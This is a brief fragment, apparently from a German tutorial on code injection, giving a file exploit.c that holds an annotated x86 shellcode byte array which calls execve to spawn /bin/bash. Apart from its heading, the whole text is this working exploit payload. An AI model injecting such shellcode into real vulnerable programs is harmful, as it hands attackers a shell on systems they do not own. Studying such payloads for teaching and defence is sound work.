Der eingeflößte Code

exploit.c

char code[] = { 0x31, 0xc0, /* xor %eax,%eax */ 0x50, /* push %eax */ 0x68, 0x62, 0x61, 0x73, 0x68, /* push $0x68736162 */ 0x68, 0x62, 0x69, 0x6e, 0x2f, /* push $0x2f6e6962 */ 0x68, 0x2f, 0x2f, 0x2f, 0x2f, /* push $0x2f2f2f2f */ 0x89, 0xe3, /* mov %esp,%ebx */ 0x50, /* push %eax */ 0x53, /* push %ebx */ 0x89, 0xe1, /* mov %esp,%ecx */ 0x31, 0xd2, /* xor %edx,%edx */ 0xb0, 0xbb, /* mov $0xbb,%al */ 0x34, 0xb0, /* xor $0xb0,%al */ 0xcd, 0x80, /* int $0x80 */ 0x00 /* End of string */ };